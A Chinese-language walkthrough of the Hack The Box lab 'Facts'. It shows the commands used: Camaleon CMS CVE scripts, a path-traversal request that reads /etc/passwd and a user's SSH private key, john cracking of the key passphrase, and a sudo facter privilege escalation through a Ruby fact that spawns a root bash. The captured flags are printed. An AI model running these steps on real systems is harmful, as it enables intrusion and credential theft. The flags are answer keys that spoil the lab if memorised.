Facts

USER FLAG

nmap 扫一下靶机的端口服务(可以加-p-选项扫全端口,不过太慢了)

1
nmap -A 10.129.19.105

22 端口的 SSH 服务,还有 80 端口的 Web 服务

image-20260407202056459

先看 80 端口的 Web 服务,nmap扫的显示不能重定向,设置一下/etc/hosts文件,加入以下内容

1
10.129.19.105 facts.htb

image-20260407202249897

然后就可以浏览器访问了

image-20260407202351094

信息搜集一下,可以找到存在后台登录,访问/admin即可(dirsearch居然没扫出来,没招了),会自动跳转到http://facts.htb/admin/login

image-20260407205442726

注册一个账号登录

image-20260407205522668

成功登录,并且可以发现是个 Camaleon CMS

image-20260407210250535

然后就是去找历史漏洞和POC,先是找到了一个权限提升的漏洞:CVE-2025-2304

就是对注册的已有的账户提升为admin权限

1
python 1.py -u http://facts.htb/ -U 1 -P 1

image-20260407211523471

但是发现不能登录上去了,只能再注册一个账号

然后又找到一个CVE:CVE-2024-46987

可以实现任意文件读取的

1
python CVE-2024-46987.py -u http://facts.htb/ -l 2 -p 2 /etc/passwd

验证发现没有问题,确实存在漏洞,还可以发现有triviawilliam用户

image-20260407213303981

或者直接访问:

1
http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

bp抓包

1
2
3
4
5
GET /admin/media/download_private_file?file=../../../../../../etc/passwd HTTP/1.1
Host: facts.htb
Cookie: auth_token=KTUeCgTawDVV5ksfLeIUDQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F141.0.0.0+Safari%2F537.36&10.10.16.44; _factsapp_session=sQFY3DfWYY%2F1hCo4R7Yc2GrgHLISg5WFF6uEFzmJKr1xuoKHIZSumFtZw2Di35P7WcXgCKwkkDaZY7eLR7ftx7O657%2ByZtfdyfhCTXASxGiquIrWrNLUw97otvOq%2FjLf95LyB%2BTni5r%2B5b%2Fkbs%2BIHNuvBIRDMdK3bNJPxyAccw33kNonsNeZ1PNej0i%2FIqCSgbaDjE69Y1qw5TXQ2VGXjZAclavfjEGX8vKRaJri0wJHoDyYS0KK%2B%2FGpHfQXYXbRX384JCqfIIOixfGGD9KXYjrMNZjbFDli3hElkUb5N59YCsl4yz3eNgnTEUBdM2vK1AX7lyA%3D--KxRLx03NY2wjr6iu--aNFNoh%2Bu5W8TrnrsByihAQ%3D%3D


image-20260407212854631

尝试利用私钥登录用户,文章:https://blog.csdn.net/jueshijindai/article/details/156168252

上网搜一下私钥文件名,文件一般是放在用户目录下的.ssh目录中

image-20260407213836193

最终可以执行下面这个命令获取到trivia用户的私钥,至于另一个用户william的私钥没找到

1
python CVE-2024-46987.py -u http://facts.htb/ -l 2 -p 2 /home/trivia/.ssh/id_ed25519

image-20260407213915992

将其保存到本地的id_ed25519文件中

image-20260407214024723

然后设置权限

1
chmod 600 id_ed25519

然后运行以下命令进行登录

1
ssh -i id_ed25519 trivia@10.129.19.105

但是还是要我输入密码……

image-20260407214319772

使用 ssh2john 将私钥转换为可识别格式

1
ssh2john id_ed25519 > key

然后使用 john 进行爆破

1
john --wordlist=/usr/share/wordlists/rockyou.txt key

成功爆破出 key 是:dragonballz

image-20260407215529646

然后去登录

1
ssh -i id_ed25519 trivia@10.129.19.105

成功登录

image-20260407215705681

可以在william用户目录下找到 USER FLAG

image-20260407220051794

1
783f3a780d8397e528da0c7af5827b25

ROOT FLAG

发现可以利用 sudo 权限滥用进行提权

1
sudo -l

可以无密码以root权限使用/usr/bin/facter命令

image-20260407232110443

1
2
3
4
5
6
7
8
9
10
11
mkdir -p /tmp/rfacts

cat > /tmp/rfacts/evil.rb << 'EOF'
Facter.add('evil') do
setcode do
system('/bin/bash')
end
end
EOF

sudo /usr/bin/facter --custom-dir /tmp/rfacts evil

成功提权

image-20260407234041678

读 ROOT FLAG

image-20260407234359489

1
beb1f7fa70a2d6bea7b42ce9f5dcec13

总结

  • 利用 CVE-2024-46987 获取 SSH 私钥登录服务器
  • sudo 权限滥用,利用 facter 进行提权

Facts
https://yschen20.github.io/2026/04/07/Facts/
作者
Suzen
发布于
2026年4月7日
更新于
2026年4月7日
许可协议